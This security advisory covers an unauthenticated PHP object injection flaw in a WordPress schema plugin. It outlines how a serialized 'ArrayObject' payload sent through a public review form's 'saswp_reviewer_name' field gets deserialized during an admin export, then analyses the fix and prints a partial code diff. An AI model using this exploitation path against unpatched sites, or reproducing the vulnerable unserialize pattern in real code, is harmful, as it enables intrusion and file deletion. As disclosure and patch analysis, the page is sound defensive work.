Published : November 27, 2026

CVE-2026-113774: Schema & Structured Data for WP & AMP <= 1.68 Unauthenticated Deserialization of Untrusted Data to Arbitrary File Deletion via 'saswp_reviewer_name' Parameter via Public Review Form PoC, Patch Analysis & Rule

Severity High (CVSS 8.8)
CWE 502
Vulnerable Version 1.68
Patched Version 1.69
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-113774: The Schema & Structured Data for WP & AMP plugin for WordPress (versions up to and including 1.68) is vulnerable to PHP Object Injection (CWE-502) with a CVSS score of 8.8. The flaw resides in the plugin’s admin export functionality and its public review form. An unauthenticated attacker can inject a serialized PHP object via the ‘saswp_reviewer_name’ parameter. When an administrator later triggers the export, the plugin deserializes the untrusted data, potentially enabling arbitrary file deletion or other impacts if a POP chain exists in another installed component.

Root Cause: The vulnerability stems from two code paths. First, saswp_review_form_process_data() processes the ‘saswp_reviewer_name’ parameter from a public review form without authentication. It sanitizes the value with sanitize_text_field(), which does not recognize PHP serialization syntax (including NUL byte property delimiters) and therefore leaves the serialized payload intact. The value is then stored via update_post_meta() for a post of type ‘saswp_reviews’. WordPress’s maybe_serialize() and is_serialized() functions do not handle the legacy PHP ‘C’ custom-serialization token (used by ArrayObject), so the payload is persisted byte-for-byte without an extra protective serialization layer. Second, the admin export function saswp_export_all_settings_and_schema() retrieves all post meta for the ‘saswp_reviews’ post type using get_posts() with ‘post_status’ => ‘any’. It then iterates over each meta value and calls unserialize() on it. In the vulnerable version, the check is @unserialize($meta[0]) !== false, which will attempt to unserialize any string. The patch changes this to use is_serialized() before unserializing with ‘allowed_classes’ => false, and restricts the post status to ‘publish’. The diff shows the change in admin_section/common-function.php around line 250-266.

Exploitation: An attacker can submit a POST request to the public review form endpoint (likely a shortcode or AJAX handler on a page where the review form is displayed). The request includes the parameter ‘saswp_reviewer_name’ set to a crafted serialized string, for example: C:11:”ArrayObject”:… (using the ‘C’ token to bypass maybe_serialize). The plugin stores this value as post meta for a newly created ‘saswp_reviews’ post. The post status may be ‘pending’ or ‘draft’ by default. When an administrator visits the plugin’s export page and initiates an export, the export function retrieves all ‘saswp_reviews’ posts regardless of status (due to ‘post_status’ => ‘any’) and unserializes every meta value. This triggers the instantiation of the attacker-controlled object. Although the plugin itself lacks a POP chain, a chain from another plugin or theme could be leveraged to delete arbitrary files or achieve other malicious actions. The attack requires the administrator to perform the export action, meaning the attacker cannot trigger it independently.

Patch Analysis: The patch modifies admin_section/common-function.php. On line 250, the post status query is changed from ‘any’ to ‘publish’ for the ‘saswp_reviews’ post type, so drafts and pending reviews are no longer exported. This reduces exposure but does not eliminate the core issue. On lines 266-270, the deserialization logic is replaced: instead of unconditionally attempting unserialize() with @ suppression, it now checks is_serialized($meta[0]) and then calls unserialize() with ‘allowed_classes’ => false. The is_serialized() function is more robust and will not recognize the legacy ‘C’ token, so such payloads will not be unserialized. The ‘allowed_classes’ => false option ensures that even if a serialized object is present, no objects are instantiated, preventing object injection. Together, these changes mitigate the vulnerability by preventing untrusted data from being deserialized into objects.

Impact: Successful exploitation could lead to arbitrary file deletion, data corruption, or full remote code execution if a suitable POP chain exists in the WordPress environment. The CVSS score of 8.8 reflects high confidentiality, integrity, and availability impact. Although the attack requires administrator interaction (triggering the export), the unauthenticated injection point makes it a serious threat. Attackers could also use the injected object to manipulate plugin settings or escalate privileges indirectly via other vulnerable components.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/schema-and-structured-data-for-wp/admin_section/common-function.php
+++ b/schema-and-structured-data-for-wp/admin_section/common-function.php
@@ -250,7 +250,7 @@
                         array(
                                 'post_type' 	     => $type,
                                 'posts_per_page'     => -1,
-                                'post_status'        => 'any',
+                                'post_status'        => ( $type === 'saswp_reviews' ) ? 'publish' : 'any',
                         )

                      );
@@ -266,9 +266,10 @@

                             foreach ( $post_meta as $key => $meta){

-                                if(@unserialize($meta[0]) !== false){
-                                    $post_meta[$key] = unserialize($meta[0]);
-                                }else{
+                                if ( is_serialized( $meta[0] ) ) {
+                                    // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_unserialize
+                                    $post_meta[$key] = unserialize( $meta[0], array( 'allowed_classes' => false ) );
+                                } else {
                                     $post_meta[$key] = $meta[0];
                                 }

--- a/schema-and-structured-data-for-wp/core/array-list/repeater-fields.php
+++ b/schema-and-structured-data-for-wp/core/array-list/repeater-fields.php
@@ -73,6 +73,9 @@
                         'FAQ' => array(
                                'faq-question' => 'faq_question',
                         ),
+                        'Quiz' => array(
+                               'quiz-question' => 'quiz_question',
+                        ),
                         'Event' => array(
 							   'event_schedule'=> 'event_schedule',
 							   'performer'     => 'performer',
@@ -166,6 +169,9 @@
 			      'HealthInsurancePlan' => array(
 	                    'health-insurance-plan-formulary' => 'health_insurance_plan_formulary',
 	                  ),
+			      'Dataset' => array(
+	                    'dataset-distribution' => 'dataset_distribution',
+	                  ),

                     ),
     'meta_name' => array(
@@ -1592,6 +1598,85 @@
                             ),
                         ),
                     ),
+                    'quiz_question' => array(
+                        array(
+                            'label'      => esc_html__( 'Question Text', 'schema-and-structured-data-for-wp' ),
+                            'name'       => 'saswp_quiz_question_text',
+                            'type'       => 'textarea',
+                            'attributes' => array(
+                                'placeholder' => esc_html__( 'e.g. What is the value of x when 2x + 6 = 14?', 'schema-and-structured-data-for-wp' ),
+                            ),
+                        ),
+                        array(
+                            'label'      => esc_html__( 'Question Type', 'schema-and-structured-data-for-wp' ),
+                            'name'       => 'saswp_quiz_question_type',
+                            'type'       => 'select',
+                            'options'    => array(
+                                'Flashcard'       => esc_html__( 'Flashcard', 'schema-and-structured-data-for-wp' ),
+                                'Multiple choice' => esc_html__( 'Multiple choice', 'schema-and-structured-data-for-wp' ),
+                                'Open-ended'      => esc_html__( 'Open-ended', 'schema-and-structured-data-for-wp' ),
+                            ),
+                            'default'    => 'Flashcard',
+                        ),
+                        array(
+                            'label'      => esc_html__( 'Correct / Accepted Answer', 'schema-and-structured-data-for-wp' ),
+                            'name'       => 'saswp_quiz_question_accepted_answer',
+                            'type'       => 'textarea',
+                            'attributes' => array(
+                                'placeholder' => esc_html__( 'e.g. 4', 'schema-and-structured-data-for-wp' ),
+                            ),
+                        ),
+                        array(
+                            'label'      => esc_html__( 'Suggested / Incorrect Answers (comma or line separated)', 'schema-and-structured-data-for-wp' ),
+                            'name'       => 'saswp_quiz_question_suggested_answers',
+                            'type'       => 'textarea',
+                            'attributes' => array(
+                                'placeholder' => esc_html__( 'e.g. 3, 5, 10', 'schema-and-structured-data-for-wp' ),
+                            ),
+                        ),
+                        array(
+                            'label'      => esc_html__( 'Answer Explanation / Comment', 'schema-and-structured-data-for-wp' ),
+                            'name'       => 'saswp_quiz_question_comment',
+                            'type'       => 'textarea',
+                            'attributes' => array(
+                                'placeholder' => esc_html__( 'e.g. Subtract 6 from both sides to get 2x = 8, then divide by 2.', 'schema-and-structured-data-for-wp' ),
+                            ),
+                        ),
+                    ),
+                    'dataset_distribution' => array(
+                        array(
+                            'label'      => esc_html__( 'Distribution File Name', 'schema-and-structured-data-for-wp' ),
+                            'name'       => 'saswp_dataset_distribution_name',
+                            'type'       => 'text',
+                            'attributes' => array(
+                                'placeholder' => esc_html__( 'e.g. CSV Data Download or Full Database Dump', 'schema-and-structured-data-for-wp' ),
+                            ),
+                        ),
+                        array(
+                            'label'      => esc_html__( 'Encoding / MIME Format', 'schema-and-structured-data-for-wp' ),
+                            'name'       => 'saswp_dataset_distribution_encoding_format',
+                            'type'       => 'text',
+                            'attributes' => array(
+                                'placeholder' => esc_html__( 'e.g. text/csv, application/json, application/zip', 'schema-and-structured-data-for-wp' ),
+                            ),
+                        ),
+                        array(
+                            'label'      => esc_html__( 'Download URL (contentUrl)', 'schema-and-structured-data-for-wp' ),
+                            'name'       => 'saswp_dataset_distribution_content_url',
+                            'type'       => 'text',
+                            'attributes' => array(
+                                'placeholder' => esc_html__( 'e.g. https://example.com/data/dataset.csv', 'schema-and-structured-data-for-wp' ),
+                            ),
+                        ),
+                        array(
+                            'label'      => esc_html__( 'Distribution Description', 'schema-and-structured-data-for-wp' ),
+                            'name'       => 'saswp_dataset_distribution_description',
+                            'type'       => 'textarea',
+                            'attributes' => array(
+                                'placeholder' => esc_html__( 'Brief description of this specific distribution file.', 'schema-and-structured-data-for-wp' ),
+                            ),
+                        ),
+                    ),

         )
 );
 No newline at end of file
--- a/schema-and-structured-data-for-wp/core/array-list/schema-properties.php
+++ b/schema-and-structured-data-for-wp/core/array-list/schema-properties.php
@@ -13335,6 +13335,504 @@
                         );
                         break;

+                    case 'Occupation':
+                        $meta_field = array(
+                            array(
+                                'label'      => esc_html__( 'Name', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_occupation_schema_name_'.$schema_id,
+                                'type'       => 'text',
+                                'default'    => get_the_title(),
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. Software Engineer', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Description', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_occupation_schema_description_'.$schema_id,
+                                'type'       => 'textarea',
+                                'default'    => saswp_strip_all_tags(get_the_excerpt()),
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'Description of the occupation', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Occupational Category', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_occupation_schema_occupational_category_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. 15-1252.00 or Computer Occupations', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Education Requirements', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_occupation_schema_education_requirements_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. Bachelor's degree in Computer Science', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Experience Requirements', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_occupation_schema_experience_requirements_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. 2+ years of relevant experience', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Qualifications', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_occupation_schema_qualifications_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. State license, AWS certification', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Responsibilities', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_occupation_schema_responsibilities_'.$schema_id,
+                                'type'       => 'textarea',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'Key responsibilities of this occupation', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Skills', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_occupation_schema_skills_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. PHP, JavaScript, SQL, Problem Solving', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Salary Currency', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_occupation_schema_salary_currency_'.$schema_id,
+                                'type'       => 'text',
+                                'default'    => 'USD',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. USD, EUR, INR', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Estimated Salary (Median)', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_occupation_schema_salary_value_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. 109000', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Salary Unit / Duration', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_occupation_schema_salary_unit_'.$schema_id,
+                                'type'       => 'select',
+                                'options'    => array(
+                                    'YEAR'   => esc_html__( 'Per Year (P1Y)', 'schema-and-structured-data-for-wp' ),
+                                    'MONTH'  => esc_html__( 'Per Month (P1M)', 'schema-and-structured-data-for-wp' ),
+                                    'WEEK'   => esc_html__( 'Per Week (P1W)', 'schema-and-structured-data-for-wp' ),
+                                    'HOUR'   => esc_html__( 'Per Hour (PT1H)', 'schema-and-structured-data-for-wp' ),
+                                ),
+                                'default'    => 'YEAR',
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Salary 10th Percentile', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_occupation_schema_salary_percentile10_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. 72000', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Salary 25th Percentile', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_occupation_schema_salary_percentile25_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. 86000', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Salary 75th Percentile', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_occupation_schema_salary_percentile75_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. 120000', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Salary 90th Percentile', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_occupation_schema_salary_percentile90_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. 140000', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Location Type', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_occupation_schema_location_type_'.$schema_id,
+                                'type'       => 'select',
+                                'options'    => array(
+                                    'Country'            => esc_html__( 'Country', 'schema-and-structured-data-for-wp' ),
+                                    'AdministrativeArea' => esc_html__( 'AdministrativeArea', 'schema-and-structured-data-for-wp' ),
+                                    'State'              => esc_html__( 'State', 'schema-and-structured-data-for-wp' ),
+                                    'City'               => esc_html__( 'City', 'schema-and-structured-data-for-wp' ),
+                                ),
+                                'default'    => 'Country',
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Location Name', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_occupation_schema_location_name_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. USA or California', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Location sameAs URL', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_occupation_schema_location_sameas_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. https://www.wikidata.org/wiki/Q30', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Location Country', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_occupation_schema_location_country_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. US', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Location Region / State', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_occupation_schema_location_region_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. CA', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Location Locality / City', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_occupation_schema_location_locality_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. San Francisco', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'URL', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_occupation_schema_url_'.$schema_id,
+                                'type'       => 'text',
+                                'default'    => get_permalink(),
+                            ),
+                        );
+                        break;
+
+                    case 'Quiz':
+                        $meta_field = array(
+                            array(
+                                'label'      => esc_html__( 'Name', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_quiz_schema_name_'.$schema_id,
+                                'type'       => 'text',
+                                'default'    => get_the_title(),
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. Geometry Quiz', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Description', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_quiz_schema_description_'.$schema_id,
+                                'type'       => 'textarea',
+                                'default'    => saswp_strip_all_tags(get_the_excerpt()),
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'Description of the quiz', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'URL', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_quiz_schema_url_'.$schema_id,
+                                'type'       => 'text',
+                                'default'    => get_permalink(),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'About (Topic / Concept)', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_quiz_schema_about_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. Quadrilateral Angles', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Educational Level', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_quiz_schema_educational_level_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. High School or Beginner', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Educational Alignment (Subject)', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_quiz_schema_educational_alignment_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. Geometry or Mathematics', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Typical Age Range', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_quiz_schema_typical_age_range_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. 12-15', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Time Required (Duration)', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_quiz_schema_time_required_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. PT15M (15 minutes) or PT1H (1 hour)', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                        );
+                        break;
+
+                    case 'Dataset':
+                        $meta_field = array(
+                            array(
+                                'label'      => esc_html__( 'Name', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_dataset_schema_name_'.$schema_id,
+                                'type'       => 'text',
+                                'default'    => get_the_title(),
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. Global Surface Temperature Anomalies', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Description', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_dataset_schema_description_'.$schema_id,
+                                'type'       => 'textarea',
+                                'default'    => saswp_strip_all_tags(get_the_excerpt()),
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'Summary of dataset (Google recommends 50 to 5000 characters).', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'URL', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_dataset_schema_url_'.$schema_id,
+                                'type'       => 'text',
+                                'default'    => get_permalink(),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'SameAs URL (Reference / Authority)', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_dataset_schema_sameas_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. https://www.wikidata.org/wiki/Q1197825', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Identifier / DOI', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_dataset_schema_identifier_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. https://doi.org/10.1000/182 or DOI string', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Version', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_dataset_schema_version_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. 1.0.0 or 2024-v2', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'License URL', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_dataset_schema_license_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. https://creativecommons.org/licenses/by/4.0/', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Is Accessible For Free', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_dataset_schema_is_accessible_for_free_'.$schema_id,
+                                'type'       => 'select',
+                                'options'    => array(
+                                    'True'  => esc_html__( 'True', 'schema-and-structured-data-for-wp' ),
+                                    'False' => esc_html__( 'False', 'schema-and-structured-data-for-wp' ),
+                                ),
+                                'default'    => 'True',
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Keywords (comma-separated)', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_dataset_schema_keywords_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. climate, temperature, weather, meteorology', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Variable Measured', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_dataset_schema_variable_measured_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. Atmospheric Pressure, Wind Speed, Temperature', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Measurement Technique / Method', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_dataset_schema_measurement_technique_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. Satellite Radiometry or Doppler Radar', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Temporal Coverage', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_dataset_schema_temporal_coverage_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. 1950-01-01/2024-12-31 or 2020/2024', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Spatial Coverage', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_dataset_schema_spatial_coverage_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. Global or United States', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Citation', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_dataset_schema_citation_'.$schema_id,
+                                'type'       => 'textarea',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. NOAA Climate Data Records, 2024.', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'ISSN', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_dataset_schema_issn_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. 2049-3630', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Creator Type', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_dataset_schema_creator_type_'.$schema_id,
+                                'type'       => 'select',
+                                'options'    => array(
+                                    'Organization' => esc_html__( 'Organization', 'schema-and-structured-data-for-wp' ),
+                                    'Person'       => esc_html__( 'Person', 'schema-and-structured-data-for-wp' ),
+                                ),
+                                'default'    => 'Organization',
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Creator Name', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_dataset_schema_creator_name_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. National Climatic Data Center', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Creator URL', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_dataset_schema_creator_url_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. https://www.ncdc.noaa.gov/', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Funder Name', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_dataset_schema_funder_name_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. National Science Foundation', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Funder URL', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_dataset_schema_funder_url_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. https://www.nsf.gov/', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Data Catalog Name (includedInDataCatalog)', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_dataset_schema_catalog_name_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. data.gov or Zenodo', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Data Catalog URL', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_dataset_schema_catalog_url_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. https://data.gov', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                        );
+                        break;
+
+                    case 'Table':
+                        $meta_field = array(
+                            array(
+                                'label'      => esc_html__( 'Table Name / Caption', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_table_schema_name_'.$schema_id,
+                                'type'       => 'text',
+                                'default'    => get_the_title(),
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. Pricing Comparison Table', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Description', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_table_schema_description_'.$schema_id,
+                                'type'       => 'textarea',
+                                'default'    => saswp_strip_all_tags(get_the_excerpt()),
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'Brief summary of the data and columns presented in the table.', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'URL', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_table_schema_url_'.$schema_id,
+                                'type'       => 'text',
+                                'default'    => get_permalink(),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'About (Topic / Concept)', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_table_schema_about_'.$schema_id,
+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. Product Pricing or Technical Specifications', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'In Language', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_table_schema_in_language_'.$schema_id,
+                                'type'       => 'text',
+                                'default'    => get_locale(),
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. en-US', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                            array(
+                                'label'      => esc_html__( 'Keywords', 'schema-and-structured-data-for-wp' ),
+                                'id'         => 'saswp_table_schema_keywords_'.$schema_id,
